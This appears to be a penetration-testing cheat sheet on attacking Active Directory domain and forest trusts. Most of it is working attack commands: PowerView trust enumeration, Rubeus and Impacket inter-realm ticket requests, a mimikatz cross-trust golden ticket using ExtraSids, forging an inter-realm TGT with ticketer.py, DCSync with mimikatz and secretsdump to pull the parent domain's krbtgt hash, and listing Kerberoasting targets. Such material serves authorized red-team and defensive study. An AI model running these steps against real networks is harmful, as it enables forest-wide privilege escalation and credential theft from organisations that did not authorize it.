Attack Trusts

"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)

Theory

Some trust types:

Trust TypeDescription

Parent-child

A trust between domains within the same forest. The child domain has a bidirectional transitive trust with the parent domain.

Cross-link (shortcut)

A trust between child domains (used to speed up authentication).

Tree-root (intra-forest)

A bidirectional transitive trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest.

Forest

A transitive trust between two forest root domains. Enforces SID filtering.

External (inter-forest)

A non-transitive trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.

Enumeration

Get forest object:

PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]

Get all domains in a fores:

PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]

Enum trusts for current domain via nltest and .NET:

Cmd > nltest /trusted_domains
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

Enum trusts via Win32 API and LDAP:

PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft

PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft

Build domain trust mapping:

PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft

Request a Foreign User TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.

Request TGT for that user in current domain:

beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap

Request inter-realm TGT from current domain to the target domain:

beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap

Use inter-realm TGT to request a TGS in the target domain:

beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap

Request an Inter-Realm TGT with Impacket

Request a TGT in current domain:

$ getTGT.py -aesKey <AES_KEY> megacorp.local/snovvcrash -dc-ip 192.168.1.11

Request an IR TGT for the foreign domain in current domain:

$ KRB5CCNAME=snovvcrash.ccache getST.py -spn 'krbtgt/MEGACORP.EXTERNAL' -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -debug

Request an ST in foreign domain:

$ KRB5CCNAME=snovvcrash_megacorp_external.ccache getST.py -spn 'ldap/DC01.MEGACORP.EXTERNAL' -k -no-pass megacorp.external/snovvcrash -dc-ip 192.168.1.22 -debug

sIDHistory/ExtraSids Hopping

Abusing Bidirectional ParentChild (WITHIN_FOREST) trust between child.megacorp.local ⟷ megacorp.local.

Check if SID filtering is enabled for a trust:

Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.

Raise Child

For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:

  1. Child domain FQDN (child.megacorp.local);

  2. Name of the child domain's DC machine account and its RID (DC01$, 1337);

  3. SID of the child domain (S-1-5-21-4266912945-3985045794-2943778634);

  4. SID of the parent domain (S-1-5-21-2284550090-1208917427-1204316795);

  5. Compomised krbtgt hash from the child domain (00ff00ff00ff00ff00ff00ff00ff00ff);

  6. ???

  7. PROFIT.

1. Child domain FQDN:

PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL

2. Name of the child domain's DC machine account and its RID:

PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337

3. SID of the child domain:

PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634

4. SID of the parent domain:

PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502

Create cross-trust golden ticket:

mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1 337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]

For DCSyncing we'll need only parent domain FQDN (megacorp.local):

PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local

DCSync:

mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local

Inter-Realm TGT Forging

Manually craft an IR TGT injecting a privileged SID (example for WITHIN_FOREST trust but can also be adopted for TREAT_AS_EXTERNAL case):

$ ticketer.py -spn 'krbtgt/MEGACORP.LOCAL' -nthash <MEGACORP_LOCAL_TRUST_NTHASH> -domain child.megacorp.local -domain-sid <CHILD_MEGACORP_LOCAL_SID> -extra-sid <MEGACORP_LOCAL_SID>-516,S-1-5-9 [-groups 516] [-user-id <MEGACORP_LOCAL_DC01_RID>] 'DC01$'

Request an ST for DCSync:

$ KRB5CCNAME='DC01$.ccache' getST.py -spn 'CIFS/DC02.megacorp.local' -k -no-pass megacorp.local/'DC01$' -dc-ip 192.168.1.11 -debug

DCSync:

$ KRB5CCNAME='DC01$_CIFS_DC02.ccache' secretsdump.py -k -no-pass DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -debug

UnD + PrinterBug

pageUnconstrained

Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the trusted forest:

Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes

Attack Forest Trusts

List foreign users and users from foreign groups:

PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]

PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]

PV > Convert-SidToName ...

List user accounts from a target domain with SPNs set for Kerberoasting:

PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'

If SID history is enabled (e. g., if domain is on its migration period, netdom trust b.net /d:a.net /enablesidhistory:yes) then the forest trust is treated as external.

We can try to locate non-default (with RID greater than 1000) admin account:

PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net

If such an account is a member of a domain local security group (not a global group like Enterprise Admins or Domain Admins) and allows us to compromise a user or a computer in the target domain, we can create a cross-trust golden ticket for her the same way as described above.

CVE-2020-0665

Visualization (yEd)

PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv

Last updated